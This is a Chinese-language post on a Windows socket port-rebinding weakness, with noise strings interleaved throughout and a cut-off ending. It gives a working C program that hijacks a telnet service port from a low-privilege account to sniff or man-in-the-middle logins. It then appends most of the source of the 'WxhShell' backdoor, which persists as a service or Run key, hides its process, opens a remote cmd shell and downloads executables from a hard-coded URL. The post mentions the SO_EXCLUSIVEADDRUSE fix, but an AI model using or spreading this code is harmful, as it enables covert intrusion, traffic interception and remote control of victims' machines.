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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: d&\3}uH s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); D*j^f7ab #IJeq0TVB saddr.sin_family = AF_INET; S@g(kIo]
tcO{CI saddr.sin_addr.s_addr = htonl(INADDR_ANY); xP,b/T#a ]T'7+5w bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); T2 S fBs 5 5m\,UG7 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 p!5'#\^f [(gXjt- 这意味着什么?意味着可以进行如下的攻击: U
E$Ix XMiu}w! 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 $rlrR'[H y/5GY,z%aL 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Rw|'LaW 4v`IAR?&K; 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 .!Pg)| #?V rt,n 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 Inn{mmz
1 b]fx 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 dOa9D v+I-*,R 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Io|Du vP=68muD 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 O =;jDWE J/O{x #include bK.*v4RG #include X^Z!!KTH #include ![sXR #include loO"[8i.k DWORD WINAPI ClientThread(LPVOID lpParam); L SP p int main() '&'m#H*: { Z %Ozzp/ WORD wVersionRequested; |q58XwU ` DWORD ret; </WeB3#6 WSADATA wsaData; OZ+v ~'oD BOOL val; +[<YE SOCKADDR_IN saddr; AYgXqmH~+ SOCKADDR_IN scaddr; a&V;^ / int err; DU0/if9. SOCKET s; .] sJl SOCKET sc; ^lAM /
int caddsize; TS#[[^!S HANDLE mt; nYFrp)DLK DWORD tid; wD=]U@t`, wVersionRequested = MAKEWORD( 2, 2 ); YZj*F-} err = WSAStartup( wVersionRequested, &wsaData ); >mai
v; if ( err != 0 ) { <S041KF.{6 printf("error!WSAStartup failed!\n"); *8WB($T} return -1; 7jgj;% } m1U:&{:^ saddr.sin_family = AF_INET; Rd&DH_<+^ '*`#xNu[ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 _$ivN!k xH xTL>,? saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ~Ix2O saddr.sin_port = htons(23); 'gvR?[!t if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) n{FjFlX2= { ocFk#FW printf("error!socket failed!\n"); z
-!w/Bv@ return -1; Aeb(b+= } ~/]]H;;^u val = TRUE; #3QPcoxa //SO_REUSEADDR选项就是可以实现端口重绑定的 qD4]7"9 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) S0)JIrrHC { oojl"j4
printf("error!setsockopt failed!\n"); z@i4 return -1; BtZ]~S}v } ,VHqZ'6 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; @kqxN\DE //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 +yp:douERi //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 :-B+W9'5 d=PX}o^ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) N+=|WeZ { Y @p<f5[c ret=GetLastError(); p 1'l D printf("error!bind failed!\n"); l! F$V;R return -1; BVw2skOT } RZzHlZ listen(s,2); ujZ`T0 while(1) bI55G#1G { _cX}!d!j caddsize = sizeof(scaddr); @"-\e|[N //接受连接请求 \</!kY*3@t sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); kFv*>>X` if(sc!=INVALID_SOCKET) t$18h2yOL { d )O^(y1r mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); S^eem_C if(mt==NULL) x9vSekV { G}fBd printf("Thread Creat Failed!\n"); (?fU l$q\ break; UX@%1W!8 } ]>t~Bcnm } LE\=Y;% CloseHandle(mt); ->8Kd1^F } "XR=P>
xk closesocket(s); X.eOw>. WSACleanup(); 3m1(l?fp return 0; q(?+01 } +;?mg(: DWORD WINAPI ClientThread(LPVOID lpParam) @-'a{hBR { Aqmpo3P[+ SOCKET ss = (SOCKET)lpParam; :A8}x=K SOCKET sc; m2c'r3 UEu unsigned char buf[4096]; @-
STo/ SOCKADDR_IN saddr; *an Ng<@ long num; >fH0>W+! DWORD val; 6ZqU:^3 DWORD ret; bj
pruJ`= //如果是隐藏端口应用的话,可以在此处加一些判断 {A/r) //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 &-3e3) saddr.sin_family = AF_INET; eDJnzh83 saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); X0G,tl saddr.sin_port = htons(23); b=,BLe\ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) C/e.BXA { gV2vwe printf("error!socket failed!\n"); c*;oR$VW return -1; C !j3@EZ$ } "do5@$p| val = 100; 3iCe5VF if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) wa"0`a:`; { ^M'(/O1 ret = GetLastError(); S6<o?X9,I return -1; ] pn
U" } u?=mh` if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) hdPGqJE { sbW+vc ret = GetLastError(); o,*m,Qc return -1; /Y#8.sr } ;@wa\H[3v2 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) g:o/^_ { uNN/o}Qx printf("error!socket connect failed!\n"); ~}.C*;J closesocket(sc); x?Abk closesocket(ss); ZcN0:xU return -1; |+Y-i4t } Kh]es,$D while(1) j3Od7bBS] { q+?&w'8 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 WqeWjI.2 //如果是嗅探内容的话,可以再此处进行内容分析和记录 >C0B!MT?3% //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 16iTE-J_ num = recv(ss,buf,4096,0); 7Qd4L. if(num>0) JW
D`} send(sc,buf,num,0); dn(!wC] else if(num==0) kR<sSLEb break; zg2d}"dV num = recv(sc,buf,4096,0); aTvyzr1 if(num>0) oGcgd$%ZB send(ss,buf,num,0); =XfvPBA else if(num==0) 9xQ|Uad+% break; '12m4quO } |]&3*%b@ closesocket(ss); LJeq{Z closesocket(sc); q,P.)\0A return 0 ; G_F_TNO } *~PB iC#a+G*N_M 1)z'-dQ-5$ ========================================================== YWIA(p8Qkk iJ{axa & 下边附上一个代码,,WXhSHELL !VD$uT (HAdr5 ========================================================== 6tH}K ~VsN\! G #include "stdafx.h" 6s@!Yn|? v}DNeIh~ #include <stdio.h> 7ys' [G|}r #include <string.h> @K"$M>n$Z #include <windows.h> OX;bA^+}P #include <winsock2.h> fzJiW@-T #include <winsvc.h> @/#G2<Vp1 #include <urlmon.h> awzlLI<2p *d8
%FQ #pragma comment (lib, "Ws2_32.lib") C. .| O #pragma comment (lib, "urlmon.lib") L1kn="5 ;~F*2) #define MAX_USER 100 // 最大客户端连接数 Z\0wQ;} #define BUF_SOCK 200 // sock buffer qsj$u-xhX #define KEY_BUFF 255 // 输入 buffer Hcf"u&% ]-wyZ +a #define REBOOT 0 // 重启 {MtJP:8Jp #define SHUTDOWN 1 // 关机 r*{.|>me 7{r7 #define DEF_PORT 5000 // 监听端口 k)+{Y v* }hn?4ny #define REG_LEN 16 // 注册表键长度 #66i!} #define SVC_LEN 80 // NT服务名长度 Ku'a,\7z `Am|9LOT // 从dll定义API t ]BG)] typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
nS]e typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); L 0Ckw},, typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); pW[TufTa typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); q>%B @' PS~_a // wxhshell配置信息 YMo8C( struct WSCFG { E?]$Y[KJKs int ws_port; // 监听端口 (\qf>l+* char ws_passstr[REG_LEN]; // 口令 5B~]%_gZr int ws_autoins; // 安装标记, 1=yes 0=no ^qL<=UC. char ws_regname[REG_LEN]; // 注册表键名 @kSfF[4H char ws_svcname[REG_LEN]; // 服务名 .nY}_& char ws_svcdisp[SVC_LEN]; // 服务显示名 K-'uE) char ws_svcdesc[SVC_LEN]; // 服务描述信息 4l0>['K&{ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 >FeCa
hFn int ws_downexe; // 下载执行标记, 1=yes 0=no 56Lxr{+X char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" !~zn*Hm char ws_filenam[SVC_LEN]; // 下载后保存的文件名 "C}<umJ' 92j[b_P }; (%6fZ O}C*weU // default Wxhshell configuration y_:{p5u struct WSCFG wscfg={DEF_PORT, tO&n$$ "xuhuanlingzhe", ^4IJL", 1, I!!cA?W "Wxhshell", ;Qt%>Uo8 "Wxhshell", @CM5e! "WxhShell Service", 0s8fF"$ "Wrsky Windows CmdShell Service", :H>I`)bw "Please Input Your Password: ", /\e_B6pF< 1, p63fpnH " http://www.wrsky.com/wxhshell.exe", q>+!Ete1p "Wxhshell.exe" NP3
e^ };
qbc= kP /{j._4c // 消息定义模块 yFm88 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 7Ws88Qs) char *msg_ws_prompt="\n\r? for help\n\r#>"; zSA"f_e char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; Q)E3)), char *msg_ws_ext="\n\rExit."; [VX5r1-F char *msg_ws_end="\n\rQuit."; -I4@6vE, char *msg_ws_boot="\n\rReboot..."; # ,H!<X;SS char *msg_ws_poff="\n\rShutdown..."; A#`$#CO char *msg_ws_down="\n\rSave to "; e6*,MnqBh |Fx *,91 char *msg_ws_err="\n\rErr!"; (0@b4}Z char *msg_ws_ok="\n\rOK!"; I>8_gp\1 OeGLMDw char ExeFile[MAX_PATH]; F^.]g@g.| int nUser = 0; U
`lp56 HANDLE handles[MAX_USER]; 0OlT^ int OsIsNt; ]fDb|s48 jjrE8[ SERVICE_STATUS serviceStatus; ;P'5RCqj SERVICE_STATUS_HANDLE hServiceStatusHandle; {.U:Ce <0Y<9+g! // 函数声明 K:13t| int Install(void); `s69p'<;p int Uninstall(void); k v_t6 (qd int DownloadFile(char *sURL, SOCKET wsh); {^Q,G x( int Boot(int flag); M:.+^.h void HideProc(void); ]*MVC/R, int GetOsVer(void); x;SY80D int Wxhshell(SOCKET wsl); ~p'|A}9[/ void TalkWithClient(void *cs); 'JgCl'k, int CmdShell(SOCKET sock); 4YY!oDN: int StartFromService(void); CY':'aWfa< int StartWxhshell(LPSTR lpCmdLine); s3sD7 @ b*tb$F VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); w3VgGc~ VOID WINAPI NTServiceHandler( DWORD fdwControl ); Ugo! k{{
Y2B?C // 数据结构和表定义 AcJrJS)~ SERVICE_TABLE_ENTRY DispatchTable[] = HS*Y%* { .(8V {wscfg.ws_svcname, NTServiceMain}, s-I M {NULL, NULL} tYgHJ~1L* }; /:!l&1l:p K8&) kfyI // 自我安装 qHheF%[\5 int Install(void) 'cu14m_ { d=D#cs;\ char svExeFile[MAX_PATH]; +tt!xfy HKEY key; 8*Fn02 p strcpy(svExeFile,ExeFile); '5Kj"aD% VcsMDa // 如果是win9x系统,修改注册表设为自启动 \-Xtbm if(!OsIsNt) { 3_9CREZCl if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Z{t `f[ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); PZ#up{[o RegCloseKey(key); BK)<~I if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *Ej;}KSv RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); p,f$9t4 RegCloseKey(key); }%c>Hh return 0; d"E3ypPK } _B^X3EOc } Xk'Pc0@a } pyX:$j2R+% else { B[h^] k LN.*gGl // 如果是NT以上系统,安装为系统服务 \N-3JO Vy SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); F+NX
[ if (schSCManager!=0) .nNZdta&= { $y.0h( SC_HANDLE schService = CreateService mJ(ElDG ( 7;Lv_Y"b schSCManager, pUqNB_ wscfg.ws_svcname, v>nBdpjXh wscfg.ws_svcdisp, rtbV*@Z SERVICE_ALL_ACCESS, p(="73 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , _E8Cvaob SERVICE_AUTO_START, xCWS SERVICE_ERROR_NORMAL, 4i&Rd1#0dI svExeFile, 8mLW^R:` NULL, $0OOH4 NULL, &PApO{#Q NULL, S[hyN7sI NULL, +e.w]\} NULL T~L V\}h ); q$b4S4Z7 if (schService!=0) FG!hb?_1 { br TP}A CloseServiceHandle(schService); #*w)rGkU2 CloseServiceHandle(schSCManager); NX8hFwR strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); WI*CuJU<zJ strcat(svExeFile,wscfg.ws_svcname); 8lDb<i if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { V?0IMc RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); lup2>"?* RegCloseKey(key); 5}_=q;sZ return 0; tux0}|[^' } PJ?C[+& } (C
uM*- CloseServiceHandle(schSCManager); SO STtuT } Ahba1\,N$ } 9LBZMQ Dm}M8`|X return 1; zkqn>
} F#)bGi ~#P]NWW%. // 自我卸载 fI<d&5&g int Uninstall(void) ^A=tk!C { ^Z\"d#A HKEY key; \X!NoF 7TI6EKr if(!OsIsNt) { B/;'D7i|S if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %I!2dXNFRF RegDeleteValue(key,wscfg.ws_regname); [dz3k@ >0 RegCloseKey(key); Rrl if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { dS <*DP RegDeleteValue(key,wscfg.ws_regname); d+5~^\lV RegCloseKey(key); {,*vMQ<^ return 0; 3iX\):4 } d:^B2~j } H[OgnnM } _/%,cYVc8! else { }a9G,@:k "lt5gu! `u SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); rev*G: if (schSCManager!=0) %yjD<2J; { v[8+fd)}S SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 'DpJ#w\81 if (schService!=0) q{B?j%.o { wsH _pF if(DeleteService(schService)!=0) {
q~W:W}z CloseServiceHandle(schService); bX:h"6{=R CloseServiceHandle(schSCManager); ;b1B*B return 0; i`+bSg } T,>L CloseServiceHandle(schService); 5F
^VvzNn } lQ!OD&6 CloseServiceHandle(schSCManager); %.$7-+:7A } t&[<Dl/L } >nih:5J,ja 9^8OIv?m8 return 1; )i[Vq|n } mK"s*tD to,\n"$~! // 从指定url下载文件 Fzt?M int DownloadFile(char *sURL, SOCKET wsh) )$df6sq { 3/ } HRESULT hr; o59$vX, char seps[]= "/"; XGC\6?L~ char *token; vDi Opd char *file; q-_!&kDK" char myURL[MAX_PATH]; ^->S7[N? char myFILE[MAX_PATH]; "&4r!2A #)]t4wa_W strcpy(myURL,sURL); NsM`kZM4H token=strtok(myURL,seps); b l+g7 g; while(token!=NULL) +`{OOp= { 5dE=M};v file=token; +
Hv'u token=strtok(NULL,seps); (1GU } +Y~5197V kL0K[O GetCurrentDirectory(MAX_PATH,myFILE); -]D/8,|s strcat(myFILE, "\\"); Pgy[\t 2K strcat(myFILE, file); 6W=V8 send(wsh,myFILE,strlen(myFILE),0); 7C3YVm6g send(wsh,"...",3,0); blIMrP% hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); '/@wk#, if(hr==S_OK) k>.8 lc\ return 0; 9:VUtx#}2 else 8 p[n>qV9 return 1; Q3&q%n|< !8cV."~ } kC
6*An_f ^V96lKt/ // 系统电源模块 hEsiAbTyF int Boot(int flag) C}Kl! { 7X/t2Vih@ HANDLE hToken; #+AQ:+ TOKEN_PRIVILEGES tkp; Q1?*+] aVc{ aP if(OsIsNt) { 3+h3? OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); SZHgXl3: LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); pWJEFm tkp.PrivilegeCount = 1; (?zD!%
k tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; <"P-7/j3j AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); hdrsa}{g if(flag==REBOOT) { \y=oZk4 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 1hGj?L0m. return 0; X<[ qX* } |3@DCbT else { 9_O4yTL if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 23>[-XZb[O return 0; lNa+NtQu } Q-gVg%'7 } Ihf :k_; else { y*vSt^ if(flag==REBOOT) { PMB4]p%o if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Uza '%R return 0; :Z6j5V;s } KbvMp1'9P else { ZCPUNtOl if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) SFDTHvXu#_ return 0; Q
zaD\^OF } z"UC$ } }P
fAf A&~fw^HM return 1; Op?"G } ^sLx3a "W(Ae="60 // win9x进程隐藏模块 +W*~=*h| void HideProc(void) RK|*yt"f" { lYQ|NL(): qclc--fsE HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); }>0>OqvF if ( hKernel != NULL ) 6xJffl { \?^2}K/ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Z}dK6h5+' ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); e:9EP, FreeLibrary(hKernel); V1V0T , } !!^z6jpvn <dH@e return; Q,xL8i
M, } l_+@Xpl d)YlD]I // 获取操作系统版本 3 J04 $cD int GetOsVer(void) }:Z A) { 7D#y OSVERSIONINFO winfo; iT4*~(p 3 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); bhpku=ov GetVersionEx(&winfo); UGhEaKH~R if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) [c
8=b,EI return 1; H,X|-B else 0Lxz?R x]< return 0; 8v& \F } =W.}& qMNWw\k // 客户端句柄模块 P)=.Du) int Wxhshell(SOCKET wsl) Lau@HYW0 { ZLv/otf:|" SOCKET wsh; vv @m{,7#Y struct sockaddr_in client; .="XvVdkp DWORD myID; fq6%@M~ xZ9:9/Vg while(nUser<MAX_USER) n_e'n|T { ?W'p&(; int nSize=sizeof(client); 3N+lWuE}K wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 7R2O[=Szq if(wsh==INVALID_SOCKET) return 1; ,94<j," zzQWHg]/ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Lqj
Qv$ if(handles[nUser]==0) U4pIRa)S closesocket(wsh); !SQcV' else 9RaO[j` nUser++; (G>[A}- } ;[sW\Ou WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); { :tO
RF J/?Nf2L4 return 0; // o.+?S } LSJ?;Zg(=z ;"wCBuXcu // 关闭 socket i/ilG3m> void CloseIt(SOCKET wsh) _6ZjF>f { ~.m<`~u closesocket(wsh); F3qK6Ah. nUser--; /9w>:i81 ExitThread(0); H,!xTy"Wh } )#}>,,S RwWg:4 // 客户端请求句柄 =^nb+}Nz( void TalkWithClient(void *cs) _95296 { DYD<?._I
.w9LJ SOCKET wsh=(SOCKET)cs; ^"/^)Lb!@M char pwd[SVC_LEN]; &N|$G8\CY char cmd[KEY_BUFF]; Iry$z^ char chr[1]; JQ&t"`\k int i,j; 2d !'9mA i<m(neX[H while (nUser < MAX_USER) { ;Ba%aaHl LwH#|8F if(wscfg.ws_passstr) { rVYoxXv if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >1~
/:DJ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <$(B [T //ZeroMemory(pwd,KEY_BUFF); ^/2I)y]W0 i=0; /8cRPB. while(i<SVC_LEN) { 0M_oFx x<NPp&GE // 设置超时 BX@Iq fd_set FdRead; Tu#< {'1$ struct timeval TimeOut; W(s4R,j FD_ZERO(&FdRead); QU|_
r2LM FD_SET(wsh,&FdRead); y/lF1{}5 TimeOut.tv_sec=8; *gbK
:*_J TimeOut.tv_usec=0; \c=I!<9 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); {*ak>Wud if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); $cCC
1=dW V#t_gS if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); X
W)TI pwd =chr[0]; Kx__&a if(chr[0]==0xd || chr[0]==0xa) { &XP(D5lf`B pwd=0; Bh>L"'.2 break; d8j1L/e } P#,u9EIJ i++; G 6sK3K } f!Q\M1t) T~TP // 如果是非法用户,关闭 socket ggr if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); \hB BG8=& } <uH8Fivb `FP?9R6Y send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); WNjwv/ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); kN1MPd4Yh kSQ8kU_w+ while(1) { ':'g!b`/ n_8[bkbi ZeroMemory(cmd,KEY_BUFF); >:;dNVz *z=_sD?1 // 自动支持客户端 telnet标准 wbO6Ag@)) j=0; *Gbhk8}V' while(j<KEY_BUFF) { |?` 5 ~f if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;?-AFd\i cmd[j]=chr[0]; o`?rj!\ if(chr[0]==0xa || chr[0]==0xd) { Y::0v@&( cmd[j]=0; lfGyK4: break; C$3*[ } _"DS?`z6 j++; 4`IM[DIG~ } y7R#PkQ~ mo0\t#jA // 下载文件 DX>a0-Xj if(strstr(cmd,"http://")) { L[` l80 send(wsh,msg_ws_down,strlen(msg_ws_down),0); s[1ao"sZ^ if(DownloadFile(cmd,wsh)) lo1Ui`V send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]rmBM else
5\- uo send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \U~4b_aN } S:\i
M: else { )xGAe#E~j [M_{~1xX switch(cmd[0]) { h6
\P&Z :QCL9QZ' // 帮助 ^E
!v D case '?': { #x%'U}sF send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 90}{4&C.^ break; QFyL2Xes/ } &J[a.:.. // 安装 8s%/5v" case 'i': { ^S9y7b^;r if(Install()) h`fVQN.3 send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4JSPD#%f else mYBEjZB send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /'O8RUjN break; g;IlS*Ld } T)C@6/ // 卸载 BxY t*b% case 'r': { h$>F}n
j if(Uninstall()) s:`i~hjq send(wsh,msg_ws_err,strlen(msg_ws_err),0); 85{m+1O~ else o9?@jjqH send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +>w]T\[1~ break; T X`X5j } zd?@xno // 显示 wxhshell 所在路径 A5?" case 'p': { <Ox[![SR char svExeFile[MAX_PATH]; e5h*GKF strcpy(svExeFile,"\n\r"); .u`[|:K strcat(svExeFile,ExeFile); q!K:N? send(wsh,svExeFile,strlen(svExeFile),0); D-3[#~MV break; |Td+,>, } 4DXbeQs: // 重启 CU$khz" case 'b': { aM^iDJ$> send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); )oEVafNsT if(Boot(REBOOT)) )fH
Q7 send(wsh,msg_ws_err,strlen(msg_ws_err),0); -!\3;/ else { \?:L>-&h8 closesocket(wsh); h\m35'v! ExitThread(0); gjF5~
` } <J[le= break; ^S#; } eh#37*- // 关机 X/]@EF case 'd': { x"W~m.y$h send(wsh,msg_ws_poff,strlen(msg_ws_poff),0);
K
+7 if(Boot(SHUTDOWN)) H/8^Fvd send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]5W$EvZ9) else { lwnO closesocket(wsh); }ze+ tf ExitThread(0); I8*VM3 } ;'!x break; !\]^c } #GsOE#*>T // 获取shell SpH|<L3 case 's': { e r"
w{ CmdShell(wsh); +qxPUfN closesocket(wsh); (5a73%>@ ExitThread(0); }v(wjD break; 6*8Wtq } owVvbC2<b( // 退出 H$6RDMU case 'x': { S"Al[{ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); vwR_2u CloseIt(wsh); B6XO&I1c break; |@ mz@ } &|SWy
2N // 离开 =;Id["+ case 'q': { K2m>D=w send(wsh,msg_ws_end,strlen(msg_ws_end),0); AZ:7_4jz closesocket(wsh); W?7l-k=S WSACleanup(); G1:}{a5i_ exit(1); 6)HmE[[F break; D)* } O5dS$[`j\p } ~z[`G#dU } /i+z#q5' o7y<Zd`Bj // 提示信息 J?4{#p if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); H7O~So*N5 } MB}nn&u# } M!mL/*G@YE tzI|vVT, return; AbU`wr/h 4 } <y 4(!z" `RTxc // shell模块句柄 @uSO~.7 int CmdShell(SOCKET sock) Jcw^Z, { |jsI-?%8J STARTUPINFO si; ktu?-?#0, ZeroMemory(&si,sizeof(si)); kuY^o,u-1e si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; YMGy-]!o si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 0JR/V68$ PROCESS_INFORMATION ProcessInfo; ~$!,-r char cmdline[]="cmd"; 0AZ9I!&i CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); wG3L+[, return 0; w,~*ead } 7j&
t{q5 _K5<)( ) // 自身启动模式 bC&A@.g{ int StartFromService(void) W 4{ T< { 2g(_Kdj*{ typedef struct FT).$h~+4 { +in)(a. DWORD ExitStatus; ?pL|eS7 DWORD PebBaseAddress; tX*@r DWORD AffinityMask; B=Hd:P| DWORD BasePriority; UlXm4\@ ULONG UniqueProcessId; 9~p;iiKGG ULONG InheritedFromUniqueProcessId; EPo)7<|> } PROCESS_BASIC_INFORMATION; ZbRRDXk! )1 <0c@g= PROCNTQSIP NtQueryInformationProcess; ;R$G.5h A#>wbHjWF static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 5-dt0I@< static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; g&RpE41x X[z;P!U HANDLE hProcess; pj'gTQ),0 PROCESS_BASIC_INFORMATION pbi; <O
